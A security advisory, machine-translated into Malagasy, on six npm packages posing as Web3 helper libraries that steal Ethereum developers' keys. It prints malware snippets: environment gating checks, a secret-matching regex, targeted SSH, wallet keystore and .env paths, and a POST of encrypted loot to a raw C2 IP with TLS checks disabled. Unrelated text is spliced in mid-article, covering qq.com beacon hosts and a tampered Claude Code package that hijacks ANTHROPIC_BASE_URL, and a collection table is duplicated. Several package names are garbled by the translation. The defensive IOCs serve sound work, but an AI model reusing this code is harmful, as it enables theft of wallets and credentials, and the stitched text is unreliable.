TL, DR
Tamin'ny 6 Mey 2026, mpamoaka npm tokana, namikazesarada010206, nanosika fonosana mampidi-doza enina mikendry ny tontolo iainana mpamorona Ethereum, Solidity, ary DeFi.
Ireo fonosana, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, ary web3-utils-core, nampiasa anarana azo inoana natao hitovy amin'ny tranomboky mpanampy ho an'ny fitaovana Web3 malaza.
Mitovy avokoa ny tao anaty fonosana enina rehetra telemetry.js rakitra. Mitovy amin'ny byte ny rakitra manerana ny cluster, miaraka amin'ny SHA-256:
Tsy miasa amin'ny fotoana fametrahana azy ny malware. Tsy misy preinstall or postinstall hook. Miasa kosa izy io rehefa ampidirina amin'ny alàlan'ny require().
Zava-dehibe izany antsipiriany izany.
Miandry ny fampiasan'ny mpamorona ilay fonosana ilay implant. Avy eo dia manamarina izy raha toa ka mitovy amin'ny tontolo iainana fampandrosoana Ethereum / Solidity tena izy ilay toeram-piasana. Mitady lakile Alchemy na Infura, lakile manokana, mnemonics, lakile deployer, na lahatahiry Foundry eo an-toerana izy.
Raha mifanaraka amin'ny mpampiantrano ny fanalahidy, dia angonin'ilay mpangalatra ny fanalahidy manokana SSH, ny fitoeran-javatra fanalahidy ao amin'ny kitapom-bolan'ny Foundry / Geth / Brownie, .env* rakitra, ary ireo fiovaovan'ny tontolo iainana saro-pady. Manafina ny fonosana amin'ny AES-256-GCM amin'ny fampiasana tenimiafina voaaro izy ary mamoaka izany any amin'ny teboka IPv4 C2 manta miaraka amin'ny fanamarinana TLS tsy mandeha.
Nanamafy ny rafitra Fampitandremana Mialoha ny Fampiasana Ratsy (MEW) an'ny Xygeni fa ireo fonosana enina ireo dia mampidi-doza. Mbola miandry ny tatitra momba ny fanesorana ny rejisitra npm.
Ny Vondrona: Fonosana enina, Mpamoaka iray
Ny kaonty mpamoaka namikazesarada010206 nifandray tamin'ny adiresy Gmail tsy voamarina namikazesarada010206@gmail.com.
Nipoitra toy ny famoahana andro iray monja ny fampielezan-kevitra tamin'ny 6 Mey 2026. Ireo fonosana enina rehetra dia novokarina toy izao 1.0.0, tsy nanana fiankinan-doha tamin'ny runtime, ary rakitra telo ihany no nalefa:
package.json index.js telemetry.jsNanambara ny tahiry loharano mitovy ihany koa izy ireo:
https://github.com/harunosakura030303-maker/evmchain-configTratran'ny scanner MEW tamin'ny famoahana voalohany ireo fonosana telo voalohany. Nosakanan'ny mpandinika ny mombamomba ny npm an'ny mpamoaka ny fonosana telo ambiny rehefa avy nojeren'ny mpandinika ny mombamomba ny npm an'ny mpamoaka. Rehefa mitovy ny byte-identical telemetry.js nohamafisina manerana ny vondrona, dia nohidiana ho ratsy fanahy izy ireo noho ny tsy fitoviana.
| Package | Version | Navoaka ny npm | Tapakila MEW | didim-pitsarana |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | ratsy toetra |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | ratsy toetra |
| fitaovana fototra amin'ny satroka mafy | 1.0.0 | 2026-05-06 | #51051 | ratsy toetra |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | Ratsy fanahy, araka ny tsy fiovaovana |
| fitaovana fanamboarana metaly | 1.0.0 | 2026-05-06 | #51071 | Ratsy fanahy, araka ny tsy fiovaovana |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Ratsy fanahy, araka ny tsy fiovaovana |
Tsotra nefa mahomby ny paikady fanomezana anarana.
Ireo fonosana ireo dia tsy maka tahaka ny anarana marina ao amin'ny upstream. Mampiasa tovana "utility" azo inoana kosa izy ireo toy ny -core, -utils, ary -utils-coreIzany dia mahatonga azy ireo ho toy ny tranomboky mpiara-miasa izay mety antenain'ny mpamorona rindrambaiko ho hita eo akaikin'ny fitaovana Web3.
| Fonosana ratsy fanahy | Tanjona ara-dalàna |
|---|---|
| viem-core | viem, mpanjifa Ethereum TypeScript malaza |
| viem-utils-core | viem |
| fitaovana fototra amin'ny satroka mafy | hardhat, tontolo iainana fampandrosoana Solidity mahazatra |
| evm-utils | Anaran-toerana fitaovana EVM ankapobeny |
| fitaovana fanamboarana metaly | orinasa mpanao vy, rojo fitaovana Solidity |
| web3-utils-core | web3-utils, mpanampy Web3.js |
Ity no lamina "fonosana fanampiny": tsy hoe "Izaho no tena fonosana", fa "Toa mpanampy mahay aho ao anatin'ilay tena fonosana."
Ho an'ireo mpamorona DeFi izay mihetsika haingana, dia ampy hiteraka risika izany.
Inona no mitranga rehefa ampidirina ny fonosana
Kely, niniana natao, ary mifantoka amin'ny tontolo iainana fampivoarana crypto ny rojo fanafihana.
Tsy misy farango fametrahana. Ny fonosana tsirairay kosa dia misy index.js izay manondrana ny fiasan'ny stub ary avy eo dia mampiditra ny môdio telemetry mampidi-doza.
require('./telemetry').init();Midika izany fa miasa amin'ny fampidirana voalohany ny malware.
Izany dia tena ilaina amin'ny fiasan'ny mpanafika. Maro ny scanner sy sandboxes mifantoka amin'ny fihetsiky ny fotoana fametrahana. Ity fonosana ity dia miandry mandra-pampiasan'ny mpamorona, script fananganana, test suite, na runtime path azy.
Vavahadin'ny Fampahavitrihana: Atsaharo amin'ny toeram-piasana tena izy ho an'ny mpamorona Web3 ihany
Ny ampahany manan-danja indrindra amin'ny implant dia ny vavahadin'ny fampandehanana.
Manamarina ireo fiovaovan'ny tontolo iainana izay matetika hita amin'ny milina mpamorona Ethereum / Solidity ny malware:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean);Manamarina ihany koa izy raha toa ka napetraka ny Foundry:
fs.existsSync(path.join(os.homedir(), '.foundry'))Raha tsy marina ireo fepetra roa ireo, dia miverina ilay asa ary tsy manao na inona na inona.
Izany dia mahatonga ny fonosana ho mangina kokoa amin'ny tontolo famakafakana ankapobeny. Ny "sandbox" tsy misy "Fundry", "Alchemy keys", "Infura keys", "private keys", na "mnemonics" dia mety hahita fanafarana toa tsy mampidi-doza.
Ao amin'ny mpampiantrano mifanaraka amin'izany, miandry 60 ka hatramin'ny 90 segondra ny malware alohan'ny hanangonana azy:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref();Mampihena ny fifandraisana miharihary eo amin'ny fanafarana sy ny filtration exfiltration ny fahatarana. .unref() Ny call dia mamela ny fizotran'ny mpampiantrano hivoaka ara-dalàna raha toa ka nafarana tao anaty script fohy ny fonosana.
Tsy fihetsika mitabataba sy maka tahaka ity. Fangalarana natao mba tsy hiasa raha tsy hoe mendrika hangalarina ny tontolo iainan'ny mpamorona rindrambaiko.
Izay angonin'ny mpangalatra
Raha vao mandalo ny vavahady fampahavitrihana, dia manangona avy amin'ireo loharano manan-danja indrindra amin'ny fampandrosoana Web3 ny malware: fanalahidy manokana, fitahirizana fanalahidy wallet, fahazoan-dàlana fametrahana, tsiambaratelon'ny rahona, tokens npm, ary fandrindrana tetikasa eo an-toerana.
| Source | Inona no angonina |
|---|---|
| process.env | Izay fiovaovana mifanaraka amin'ny /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Rakitra misy PRIVATE KEY na BEGIN OPENSSH, anisan'izany ny votoatin'ny rakitra manontolo |
| ~/.fondry/fivarotana fanalahidy/* | Rakitra fitehirizana fanalahidy ao amin'ny kitapom-bolan'ny orinasa mpanao vy |
| ~/.ethereum/fivarotana fanalahidy/* | Rakitra fitehirizana fanalahidy Geth wallet |
| ~/.brownie/kaonty/* | Rakitra fitehirizana lakile ho an'ny kitapom-bola Brownie |
| ${cwd}/.env | Votoatin'ny rakitra feno |
| ${cwd}/.env.local | Votoatin'ny rakitra feno |
| ${cwd}/.env.production | Votoatin'ny rakitra feno |
| ${cwd}/.env.development | Votoatin'ny rakitra feno |
| os.anarana mpampiantrano() | Metadata mpampiantrano |
| crypto.randomUUID() | Famantarana ny niharam-boina/fivoriana |
| Date.now() | Fe-potoana fanangonana |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.comIreto avy ireo mari-pamantarana ATTA:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937Tsy afaka nanamarina izahay raha avy amin'ny fanadihadiana manokana an'ny mpandraharaha ilay telemetria sa fantsona ara-bola misaraka. Mitovy ny mari-pamantarana ATTA amin'ireo santionany roa nodinihinay.
Vondrona B: heibai
claude.hk OAuth Phishing + ANTHROPIC_BASE_URL Hijack
Ny santionany tamin'ny 1 Aprily no sampana matotra kokoa sy voalohany tamin'ny fampielezan-kevitra.
heibai:2.1.88-claude.hk-4 dia navoakan'i wuguoqiangvip28, kaonty noforonina tamin'ny 7 Jona 2025. Nanova tanteraka ny endriny ilay fonosana mifanohitra amin'ny ara-dalàna 2.1.88 Famotsorana antropika.
Tsy miraharaha ny CA-cert MITM izy. Fa kosa, mandainga amin'ny mpampiasa momba ny teboka farany OAuth izy.
Ireto avy ireo fanampim-baovao ratsy ankoatra ny loharanom-baovao Claude Code tafaporitsaka:
| Source | Inona no angonina |
|---|---|
| process.env | Izay fiovaovana mifanaraka amin'ny /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Rakitra misy PRIVATE KEY na BEGIN OPENSSH, anisan'izany ny votoatin'ny rakitra manontolo |
| ~/.fondry/fivarotana fanalahidy/* | Rakitra fitehirizana fanalahidy ao amin'ny kitapom-bolan'ny orinasa mpanao vy |
| ~/.ethereum/fivarotana fanalahidy/* | Rakitra fitehirizana fanalahidy Geth wallet |
| ~/.brownie/kaonty/* | Rakitra fitehirizana lakile ho an'ny kitapom-bola Brownie |
| ${cwd}/.env | Votoatin'ny rakitra feno |
| ${cwd}/.env.local | Votoatin'ny rakitra feno |
| ${cwd}/.env.production | Votoatin'ny rakitra feno |
| ${cwd}/.env.development | Votoatin'ny rakitra feno |
| os.anarana mpampiantrano() | Metadata mpampiantrano |
| crypto.randomUUID() | Famantarana ny niharam-boina/fivoriana |
| Date.now() | Fe-potoana fanangonana |
Voafaritra tsara ny lisitry ny kendrena. Tsy halatra navigateur mahazatra na fangalarana fahazoan-dàlana amin'ny ankapobeny ity. Mikendry ireo mpamorona rindrambaiko izay mamorona, manandrana, mametraka, na miasa amin'ny fampiharana Ethereum ity.
Tena zava-dehibe ny fampidirana ny Foundry, Geth, ary Brownie keystores. Ireo rakitra ireo dia afaka maneho fidirana mivantana amin'ny wallets na ny famantarana ny fametrahana. Raha afaka mampifandray azy ireo amin'ny tenimiafina, mnemonics, na tsiambaratelo momba ny tontolo iainana ny mpanafika, dia mety ho afaka hamindra vola izy ireo, mody miseho ho deployers, na manimba ny fiasan'ny smart contract.
Fanafenana alohan'ny fanesorana ny sivana
Manafina ny angon-drakitra voangona ilay malware alohan'ny handefasana azy.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);Ny tenimiafina voatahiry dia:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1dNy entana farany dia fonosina amin'ny endrika JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}Tsy mahatonga ny malware ho mandroso kokoa amin'ny tenany ny fanafenana. Na izany aza, mahatonga ny fanaraha-maso ny tambajotra ho sarotra kokoa izany. Ny mpiaro mijery ny fivoahana dia hahita ny entana JSON, fa tsy ny fanalahidy nangalarina, ny rakitra poketra, na .env votoaty tsy misy ny tenimiafina voatahiry sy ny lojika famahana olana.
Fampidirana ny filtration mankany amin'ny IPv4 C2 Raw
Voafaritra tsara ny lalan'ny exfiltration:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {});Mandefa angona any amin'ny:
https://76.13.37.80:8443/api/v1/telemetryMisy antsipiriany roa miavaka.
Voalohany, adiresy IPv4 manta ny C2 fa tsy domaine. Izany dia manafoana ny filàna fisoratana anarana domaine ary misoroka ny fitadiavana mifototra amin'ny domaine.
Faharoa, tsy mandeha ny fanamarinana TLS amin'ny:
rejectUnauthorized: falseIzany dia ahafahan'ny malware manaiky taratasy fanamarinana rehetra, anisan'izany ireo taratasy fanamarinana nosoniaviny manokana. Raha lazaina amin'ny teny hafa, ny mpanafika dia mahazo fitaterana voaaro tsy mila taratasy fanamarinana ampahibemaso manan-kery.
Tsy misy lojika famerenana ary tsy misy mpampiantrano fallback. Tsy misy diso intsony. Izany dia mitazona ny fonosana ho mangina raha toa ka tsy mifandray na tsy azo tratrarina ny C2.
Nahoana no zava-dehibe ity fanentanana ity
Ny ankamaroan'ny fonosana npm ratsy fanahy mikendry ireo mpamorona rindrambaiko mitady fahazoan-dàlana midadasika: npm tokens, AWS keys, GitHub tokens, na .npmrc raki-daza.
Mampihena ny lasibatra ity fampielezan-kevitra ity.
Mitady famantarana izy fa an'ny mpamorona Ethereum na Solidity ilay milina. Avy eo dia maka ireo fananana tena ilaina ao anatin'io tontolo io izy: keystores, lakile manokana, mnemonics, key deployer, .env rakitra, ary fanalahidy SSH.
Izany dia mahatonga ny fampielezan-kevitra ho mampidi-doza kokoa ho an'ny ekipa Web3 noho ny mpangalatra npm mahazatra.
Ny aretina mahomby dia mety hampiharihary:
- Kitapo fametrahana
- Fanalahidin'ny mpitantana ny fifanarahana marani-tsaina
- Fanalahidin'ny mpamatsy RPC
- Fahazoan-dàlana fametrahana rahona
- famantarana famoahana npm
- Fidirana SSH amin'ny fotodrafitrasa mpamorona na fananganana
- Ny tsiambaratelon'ny tetikasa voatahiry ao amin'ny
.envraki-daza - Fitoeran-kitendry ho an'ny poketra ho an'ny Foundry, Geth, na Brownie
Mampiseho mazava tsara ihany koa ny anaran'ny fonosana fandrindrana ara-tsosialy. Mikendry ny tontolo iainana mpamorona Web3 amin'ny alàlan'ny anarana fitaovana mahazatra izy ireo: viem, hardhat, foundry, evm, ary web3.
Tsy mila manao sorona ireo tetikasa tena izy ilay mpilalao. Mila mpamorona rindrambaiko fotsiny izy ireo mba hametraka izay toa fonosana mpiara-miasa azo ekena.
Famantarana ny fifanarahana sy ny fahitana
| Fonosana sy Mpamoaka | |
|---|---|
| Field | sarobidy |
| mpamoaka npm | namikazesarada010206 |
| Mailaka mpamoaka | namikazesarada010206@gmail.com |
| mailaka voamarina | No |
| SCM voamarina | No |
| Isa laza | 1.0 |
| Packages | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core |
| dikan | All 1.0.0 |
| Tahiry loharano | https://github.com/harunosakura030303-maker/evmchain-config |
| Voamarina fa ratsy fanahy | Ireo fonosana enina rehetra |
| Network | |
|---|---|
| Type | sarobidy |
| Teboka farany C2 | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| Seranan-tsambo C2 | 8443/tcp |
| Fitondran-tena TLS | mandàTsy nahazoana alalana: diso |
| Tetikasa momba ny enta-mavesatra | {"v":2,"iv": ,"d": ,"t": } |
| Rakitra sy Hashes | |
|---|---|
| Type | sarobidy |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Firafitry ny fonosana | package.json, index.js, telemetry.js |
| Isan'ny rakitra | 3 |
| Habeny tombanana ho iray manontolo | 3.4 KB |
Famantarana fampandehanana
Manamarina ireto fiovaovan'ny tontolo iainana ireto ny malware:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEYManamarina ihany koa izy io raha:
~/.foundry/Lalan'ny mpampiantrano voakendry
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.developmentRegex fanangonana
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/iFanamarihana momba ny famantarana
Misy fitsipika maromaro mahafehy ity fampielezan-kevitra ity nefa tsy mila fanadihadiana feno momba ny fitondran-tena.
Voalohany, jereo ireo rakitra mihidy mba hahitana ireo anaran'ny fonosana mampidi-doza enina:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-coreLalao rehetra ao amin'ny package-lock.json, yarn.lock, pnpm-lock.yaml, na node_modules tokony hoheverina ho zava-nitranga lehibe ny tantara.
Faharoa, araho maso ny fizotran'ny Node.js mamaky ny lalan'ny keystore wallet:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/Mahalana vao azo atao ara-dalàna ity fihetsika ity ho an'ny fonosana iray nafarana ho toy ny fiankinan-doha mpanampy. Mampiahiahy indrindra izany rehefa arahin'ny hetsika ivelan'ny tambajotra.
Fahatelo, sakanana na ampahafantaro ny fifandraisana HTTPS amin'ny:
76.13.37.80:8443Indrindra rehefa ny lalan'ny fangatahana dia:
/api/v1/telemetryFahefatra, tadiavo ireo fonosana npm izay mampifangaro ireto toetra ireto:
- Mpamoaka vaovao na tsy dia malaza loatra
- Kaonty Gmail tsy voamarina
- Anaran'ny fonosana mifanila amin'ny Web3
- Tsy misy tantaran'ny tahiry misy dikany
- Firafitry ny fonosana kely
index.jsizay mampiditra telemetry na rakitra mpanampy- Tsy misy fiankinan-doha amin'ny runtime
- Fanangonana miovaova arakaraky ny tontolo iainana
- Fidirana amin'ny fivarotana lakilen'ny Wallet
Mahasoa kokoa ity lamina ity noho ny IOC tokana satria mety hanova ny adiresy IP ny fonosana manaraka saingy mitazona ny lojika kendrena mitovy.
Lisitra fanamarinana ny valin'ny marimaritra iraisana
Raha nampiasa iray amin'ireo fonosana enina ny mpamorona rindrambaiko ary mifanaraka amin'ny vavahadin'ny fampahavitrihana ny tontolo iainany, dia raiso ho toy ny voajirika ny toeram-piasana.
Tafiditra ao anatin'izany ny milina misy Foundry napetraka, ny fanalahidy Alchemy na Infura ao amin'ny tontolo iainana, ny fanalahidy manokana, ny mnemonics, na ny fanalahidy deployer.
Valiny atolotra:
- Esory amin'ny tambajotra ny mpampiantrano.
- Arovy
node_modules, rakitra hidy, tantaran'ny akorandriaka, ary logs mifandraika amin'ny forensika. - Ahodino eo ambanin'ny
~/.ssh/. - Ahodino ny lakilen'ny poketra ho an'ny toerana fitehirizana lakile rehetra eo ambaniny
~/.foundry,~/.ethereum, ary~/.brownie. - Afindra any amin'ny poketra vaovao ny vola.
- Avereno ny tsiambaratelo rehetra voatahiry ao
.env*rakitra ao amin'ny tahiry niasan'ny mpamorona. - Ahodino ireo tsiambaratelon'ny tontolo iainana mifanaraka amin'ny regex fanangonana, anisan'izany ny fanalahidy AWS, ny token npm, ny token deploy, ny fanalahidy API, ny fanalahidy manokana, ny voa ary ny mnemonics.
- Ny asan'ny Audit cloud, npm, GitHub, mpamatsy RPC, ary blockchain hatramin'ny nametrahana voalohany ny fonosana.
- Avereno jerena ny sarin'ny toeram-piasana alohan'ny hampiasana azy indray.
Izay tokony hoentin'ny mpiaro
Ity fanentanana ity dia mampiseho ny fomba fivoaran'ny typosquatting npm manodidina ny tontolo iainana mpamorona sarobidy.
Tsy nila fikirizana ilay mpilalao sarimihetsika. Tsy nila fanafenana izy ireo. Tsy nila fanatanterahana nandritra ny fametrahana akory aza izy ireo.
Fa niantehitra tamin'ny zavatra telo kosa izy ireo:
- Anaran'ny fonosana Web3 azo inoana
- Fampandehanana amin'ny milina fampivoarana crypto tena izy ihany
- Halatra mivantana ireo rakitra sy tsiambaratelo izay tena manan-danja indrindra ho an'ny mpamorona Ethereum
Izany dia mahatonga ny fampielezan-kevitra ho mora tsy hita amin'ny fijerena betsaka ary mampidi-doza rehefa tonga amin'ny tontolo mety.
Ho an'ny ekipa Web3, mazava ny lesona: raiso ho anisan'ny modely fandrahonanao ny anarana fiankinan-doha. Ny fonosana izay toa mpanampy tsy mampidi-doza dia mbola mety ho ny lalana fohy indrindra mankany amin'ny fatiantoka amin'ny poketra.
Efa notaterina tany amin'ny rejisitra npm. Havaozinay ity lahatsoratra ity rehefa nesorina ny kaonty mpamoaka sy ireo fonosana.
